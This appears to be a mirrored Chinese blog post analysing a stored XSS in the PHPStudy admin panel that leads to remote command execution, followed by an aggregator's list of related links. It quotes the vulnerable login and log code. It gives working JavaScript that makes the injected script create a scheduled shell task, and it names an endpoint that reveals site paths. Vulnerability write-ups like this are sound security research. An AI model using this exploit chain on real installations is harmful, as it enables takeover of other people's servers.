5

PHPStudy RCE 分析

 1 year ago
source link: https://5ime.cn/phpstudy-xss2rce.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
PHPStudy RCE 分析

PHPStudy RCE 分析

本质上是一个存储型 XSS 漏洞。通过 XSS 漏洞可以构造恶意 js 代码,在代码触发时自动发送添加 计划任务 的请求,从而实现 RCE

我们直接在用户名的地方填写我们的 xss 地址,点击登录即可

image-20230203224347376

然后我们通过正确的账号密码登录进去,发现恶意代码被正常解析了,PHPStudy 在展现 操作日志 时未进行任何过滤,所以我们可以执行任意 Javascript 代码

image-20230203224453498

这里贴一下主要的漏洞代码

// com\web\service\app\account.php
// 登录
if($type=='login'){
$username = post('username');
$pwd = post('password');
$verifycode = post('verifycode');
$res = Account::login($username,$pwd,$verifycode);
xpexit(json_encode($res));
}

// com\web\service\app\model\Account.php
// 登录
public static function login($username,$pwd,$verifycode){
if($username==''){
return array('code'=>1,'msg'=>'用户名不能为空');
}
if($pwd == ''){
return array('code'=>1,'msg'=>'密码不能为空');
}
if(!sessionStarted()){
sessionStart();
}
if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
return array('code'=>1,'msg'=>'验证码不正确');
}
$request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
$res = Socket::request($request);
if(!$res){
return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
}
$res = json_decode($res,true);
if($res['result'] == -1){
return array('code'=>300,'msg'=>$res['msg']);
}
if($res['result'] == 0){
return array('code'=>1,'msg'=>$res['msg']);
}

//token校验
$_SESSION['this_token'] = $res['token'];
// $access_token = md5(time()).md5(rand(1,100));
$access_token = $res['token'];
$_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
$res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
return $res;
}

// com\web\service\app\log.php
// 获取日志
if($type == 'getlogs'){
$page = max(1,(int)get('page'));
$pagesize = min(50,(int)get('limit'));
$pagesize = $pagesize ? $pagesize : 10;
$req_data['data'] = array('page'=>$page,'pagesize'=>$pagesize);
$logList = Socket::request(json_encode($req_data));
$logList = json_decode($logList,true);

$data = array('code'=>0,'msg'=>'','count'=>$logList['LogCount'],'data'=>$logList['LogData']);
xpexit(json_encode($data));
}

我们可以通过构造恶意 js 代码来发送新增 计划任务 的请求,从而来实现 RCE

image-20230203224555825

这里我们直接在网站根目录下创建一个 1.txt 文件,同时写入 test 内容,代码如下

var xhr = new XMLHttpRequest();
xhr.open("POST", "/service/app/tasks.php?type=save_shell", true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.send("title=test&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=echo test > D:\\xp.cn\\www\wwwroot\\admin\\localhost_80\\1.txt");

关于网站的绝对路径,可以通过以下接口获取,请求头必须添加 X-Requested-With,否则接口会返回 404

/service/app/sites.php?type=site_list
image-20230203231047825

Recommend

  • 104

    今天花了两个多小时的时间给别人捣鼓php工具箱,自己都很惊讶。由于xampp中的不太适合新手刚开始学php使用,所以我给她安装了php工具箱,这是个可以切换版本的软件,我很推荐,而且不需要配置!不过很让人头疼的是Apache正常启动,,MySql就是无法启动,百度上说的...

  • 47

    北京时间9月20日,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》一文,文章曝光了国内知名PHP调试环境程序集成包“Php...

  • 57
    • www.tuicool.com 4 years ago
    • Cache

    PHPStudy后门简要分析

    问题概要 有问题的版本如下 phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll 注:这两...

  • 51

    对于前段时间PHPstudy软件被黑客植入“后门”事件,我们对黑客的此行为深表痛恨,为了更好地预防此次事件重演,保证广大用户的网络安全问题,PHPstudy联合国内几大安全厂商,免费为phpstudy的全网用户提供App安全检测、应用源代码审计、渗透...

  • 47

    前言: 各位FreeBuf观众的姥爷大家好,我是艾登——皮尔斯(玩看门狗时候注册的ID),最近安全圈好不热闹,北京时间9月20日“杭州公安”官微发布了 “杭州警方通报打...

  • 24
    • www.tuicool.com 4 years ago
    • Cache

    使用Ghidra分析phpStudy后门

    这次事件已过去数日,该响应的也都响应了,虽然网上有很多厂商及组织发表了分析文章,但记载分析过程的不多,我只是想正儿八经用 Ghidra 从头到尾分析下。 一、工具和平台 主要工具: Kali Linux Ghidra 9...

  • 31

    北京时间9月20日,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后门”...

  • 6

    V2EX  ›  Java 想问下 Java 有没有类似 phpstudy 得环境搭建工具   EarthChild · 2 天前 · 911...

  • 8

    今天尝试学习使用phpstudy中的mysql,让我受益颇深。所以把学习和练习过程记录了一下,首先是数据库的创建,其次是在MySQL命令行对数据增、删、改、查的练习,最后是用cmd打开phpstudy中的MySQL,以及增删改查练习。要注意的是,phpstudy中默...

  • 3
    • cjjkkk.github.io 2 years ago
    • Cache

    phpStudy后门测试

    phpStudy后门测试 发表于 2019-10...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK